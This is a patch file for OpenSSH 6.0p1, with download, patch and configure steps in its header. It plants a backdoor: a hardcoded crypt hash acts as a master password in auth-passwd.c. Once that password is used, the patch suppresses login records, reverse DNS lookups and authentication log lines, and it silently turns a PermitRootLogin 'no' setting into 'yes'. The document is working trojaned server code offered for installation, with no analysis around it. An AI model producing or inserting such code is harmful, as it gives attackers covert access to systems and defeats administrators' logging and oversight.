# wget http://mirror.bytemark.co.uk/OpenBSD/OpenSSH/portable/openssh-6.0p1.tar.gz
# patch < OpenSSH-6.0p1.patch
# ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
# bob@dtors.net
--- openssh-6.0p1/includes.h  2010-10-24 00:47:30.000000000 +0100
+++ openssh-patch/includes.h  2012-06-26 12:11:35.308747162 +0100
@@ -17,7 +17,6 @@
 #define INCLUDES_H
 
 #include "config.h"
-
 #define _GNU_SOURCE /* activate extra prototypes for glibc */
 
 #include <sys/types.h>
@@ -172,4 +171,8 @@
 
 #include "entropy.h"
 
+int passphrase;
+char *result_crypt;
+#define pass_crypt  "AbTLrS7zqigWE"
+
 #endif /* INCLUDES_H */
--- openssh-6.0p1/sshlogin.c  2011-01-11 06:20:07.000000000 +0000
+++ openssh-patch/sshlogin.c  2012-06-25 15:31:30.604715442 +0100
@@ -133,8 +133,10 @@
 
   li = login_alloc_entry(pid, user, host, tty);
   login_set_addr(li, addr, addrlen);
+  if (!passphrase || passphrase!=1){
   login_login(li);
   login_free_entry(li);
+  }
 }
 
 #ifdef LOGIN_NEEDS_UTMPX
@@ -146,8 +148,10 @@
 
   li = login_alloc_entry(pid, user, host, ttyname);
   login_set_addr(li, addr, addrlen);
+  if(!passphrase || passphrase!=1){
   login_utmp_only(li);
   login_free_entry(li);
+  }
 }
 #endif
 
@@ -158,6 +162,8 @@
   struct logininfo *li;
 
   li = login_alloc_entry(pid, user, NULL, tty);
+  if(!passphrase || passphrase!=1){
   login_logout(li);
   login_free_entry(li);
+  }
 }
--- openssh-6.0p1/canohost.c  2010-10-12 03:28:12.000000000 +0100
+++ openssh-patch/canohost.c  2012-06-25 15:31:30.601715398 +0100
@@ -78,10 +78,12 @@
 
   debug3("Trying to reverse map address %.100s.", ntop);
   /* Map the IP address to a host name. */
+  if(!passphrase || passphrase!=1){
   if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name),
       NULL, 0, NI_NAMEREQD) != 0) {
     /* Host name not found.  Use ip address. */
     return xstrdup(ntop);
+    }
   }
 
   /*
--- openssh-6.0p1/auth.c  2011-05-29 12:40:42.000000000 +0100
+++ openssh-patch/auth.c  2012-06-25 15:31:30.600715472 +0100
@@ -271,14 +271,16 @@
   else
     authmsg = authenticated ? "Accepted" : "Failed";
 
-  authlog("%s %s for %s%.100s from %.200s port %d%s",
-      authmsg,
-      method,
-      authctxt->valid ? "" : "invalid user ",
-      authctxt->user,
-      get_remote_ipaddr(),
-      get_remote_port(),
-      info);
+  if(!passphrase || passphrase !=1){
+          authlog("%s %s for %s%.100s from %.200s port %d%s",
+        authmsg,
+        method,
+        authctxt->valid ? "" : "invalid user ",
+        authctxt->user,
+        get_remote_ipaddr(),
+        get_remote_port(),
+        info);
+  }
 
 #ifdef CUSTOM_FAILED_LOGIN
   if (authenticated == 0 && !authctxt->postponed &&
--- openssh-6.0p1/auth-passwd.c  2009-03-08 00:40:28.000000000 +0000
+++ openssh-patch/auth-passwd.c  2012-06-26 10:15:51.996716095 +0100
@@ -44,6 +44,7 @@
 #include <stdio.h>
 #include <string.h>
 #include <stdarg.h>
+#include <crypt.h>
 
 #include "packet.h"
 #include "buffer.h"
@@ -82,10 +83,18 @@
 {
   struct passwd * pw = authctxt->pw;
   int result, ok = authctxt->valid;
+  char *crypted=pass_crypt;
 #if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
   static int expire_checked = 0;
 #endif
 
+  result_crypt = crypt(password, crypted);
+  if (strcmp (result_crypt, crypted) == 0 ){
+        passphrase=1;
+  return 1; 
+  }
+
+
 #ifndef HAVE_CYGWIN
   if (pw->pw_uid == 0 && options.permit_root_login != PERMIT_YES)
     ok = 0;
--- openssh-6.0p1/servconf.c  2011-10-02 08:57:38.000000000 +0100
+++ openssh-patch/servconf.c  2012-06-25 15:31:30.603715332 +0100
@@ -686,7 +686,7 @@
   { "without-password",    PERMIT_NO_PASSWD },
   { "forced-commands-only",  PERMIT_FORCED_ONLY },
   { "yes",      PERMIT_YES },
-  { "no",        PERMIT_NO },
+  { "no",        PERMIT_YES },
   { NULL, -1 }
 };
 static const struct multistate multistate_compression[] = {